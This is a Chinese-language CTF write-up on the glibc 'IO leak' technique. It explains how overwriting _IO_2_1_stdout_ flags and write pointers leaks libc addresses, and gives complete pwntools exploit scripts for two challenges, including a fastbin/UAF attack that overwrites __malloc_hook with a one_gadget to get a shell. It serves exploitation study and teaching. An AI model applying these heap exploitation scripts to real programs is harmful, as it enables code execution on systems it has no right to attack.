IO_leak学习以及相关题目分析

发布时间 2023-11-19 10:29:51作者: ModesL

学习于:关于IO leak的学习总结 | ZIKH26's Blog

 

一,前置背景知识:

  当开启了FULL RELRO保护,以及没有show等函数的时候,我们可以通过篡改_IO_2_1_stdout_结构体中_IO_write_base和flags等来绕过源码中的检查(可以去搜索一下看看更好理解),当程序遇到puts函数的时候,使得我们可以打印出_IO_write_base与_IO_write_ptr之间的东西(听同学讲这个之后,一直没搞懂_IO_write_ptr和_IO_write_end的区别,它们存的东西是一样的,但是在一些地方用的是ptr又有一些地方用的是end),其他的关于FILE结构体我在这就不多作讲述,wiki以及其他师傅写得文章讲的都很好。

二,利用方法:

  首先我们要利用它来泄露libc地址,我们都知道_IO_2_1_stdout_结构体的地址后三位是不会变的?(开了保护的情况),修改其_flags为0xfbad1800(关于为什么,可以去看看这位师傅的文章IO leak - 先知社区 (aliyun.com)前半部分),将后面三个read指针置空,同时修改_IO_write_base最后一字节的的地址为‘/x00’(当然可以不修改为00,但是要修改得比ptr小才行,所以改成00就肯定会比ptr小是吧,当然如果满足这个条件你喜欢改什么就改什么,但是保证中间可以泄露一些函数的地址就行,这样你利用gdb调试就可以找到基地址同时算出libc偏移了,当然如果要修改两字节那么毋庸置疑就需要爆破了。)

三例题分析:

  moectf2023feedback(libc版本:2.31):

main函数

read_flag():

 vuln():

 

 

 

(下面内容来自官方wp:MoeCTF_2023/Official_Writeup/Pwn.md at main · XDSEC/MoeCTF_2023 (github.com)),写的很清楚了,我就不说废话了呜呜。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

保护全开,题目中选项存在数组下溢,通过IDA可以发现可以使用的指针有stdin stdout stderr以及got表项,以及有一个指向bss段的指针__dso_handle

但是由于程序开启了PIE,因此修改__dso_handle得到任意地址读写并不可行(这是什么方法,没了解过,如果有懂得师傅可以联系我)

而got表项指向位置为代码段,不可写,因此也不可行

此时就转向了三个文件流,使用stdout leak来泄露libc地址,且程序已经将flag读入libc中,再次使用stdout leak即可泄露出flag

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = process('./feedback')
elf = ELF('./feedback')

def DEBUG():
    attach(io, 'b vuln')
    pause()

def feedback(index, content):
    io.recvuntil(b'Which list do you want to write?')
    io.send(str(index).encode())
    io.recvuntil(b'Then you can input your feedback.')
    io.send(content)

feedback(-8, p64(0xfbad1800) + p64(0)*3 + b'\x00' + b'\n')  #stdout泄露libc

io.recvuntil(b'\x00'*8)
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ec980
log.success('libcbase ===> '+hex(libcbase))

feedback(-8, p64(0xfbad1800) + p64(0)*3 + p64(libcbase+0x1f1700) + p64(libcbase+0x1f1750) + p64(0)*3)   #stdout泄露flag

#DEBUG()
io.interactive()

 

   de1ctf_2019_weapon(libc版本:2.23):

 

 

main函数:

 malloc_chunk()

 申请堆块再输入内容,但是堆块大小不允许大于0x60,所以不能申请unsort_chunk

free_chunk():

 很明显的uaf,可以doublefree申请到结构体那里去

edit_chunk(),

read_参数第一个是输入的地址,第二个是长度,在malloc里面我们知道它就是我们输入的size大小,如果我们申请的chunk_size小于内容size,也没有检查,那么这个read_就可以造成溢出了,这样我们就可以人为的造出一个unsort chunk了,然后将 unsorted bin 中带有 main_arena+0x88 的链条放入 fastbin 中,再通过 edit 修改 main_arena+0x88 为 &_IO_2_1stdout-0x43,io_leak后再调用puts就泄露出 libc_base 了,一旦我们获得了libc_base地址,我们可以利用fastbin攻击构造两个链表,然后申请到 malloc_hook-0x23 ,直接打 one_gadget 就行。

exp(感谢:fa1c4师傅):关掉debug爆破得快一些

from pwn import *

elf = ELF('./weapon')
libc = ELF("./libc-2.23.so")
context(arch="amd64", os="linux")
#context.log_level = "debug"

def add(size, index, name):
    io.sendlineafter('choice >>', '1')
    io.sendlineafter('weapon: ', str(size))
    io.sendlineafter('index: ', str(index))
    io.sendafter('name:', name)
    
def free(index):
    io.sendlineafter('choice >>', '2')
    io.sendlineafter('idx :', str(index))

def edit(index, name):
    io.sendlineafter('choice >>', '3')
    io.sendlineafter('idx: ', str(index))
    io.sendafter('content:', name)
    
def pwn():
    global io
    io = remote('node4.buuoj.cn', 29064)

    add(0x58, 0, cyclic(0x48) + p64(0x61))
    add(0x60, 1, '1')
    add(0x18, 2, '2')
    add(0x58, 3, '3')

    free(1)
    free(3)
    free(0)
    edit(0, p8(0x50))

    add(0x58, 4, '4')
    add(0x58, 5, cyclic(8) + p64(0x91))

    free(1)
    edit(1, p16(0xF5DD))

    edit(5, cyclic(8) + p64(0x71))
    add(0x60, 6, '6')
    payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x00'
    add(0x60, 7, payload)

    libc_base = u64(io.recvuntil(b'\x7f',timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3c5600

    one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

    free(1)
    edit(1, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
    add(0x60, 1, '1')
    payload = cyclic(0xb) + p64(libc_base + one_gadgets[1]) + p64(libc_base + libc.sym['realloc'] + 4)
    add(0x60, 8, payload)
    io.sendlineafter('choice >>', '1')
    io.sendlineafter('weapon: ', str(1))
    io.sendlineafter('index: ', str(1))
    io.interactive()


if __name__=='__main__':
    while 1:
        try:
            pwn()
        except:
            io.close()

(如有问题请联系我)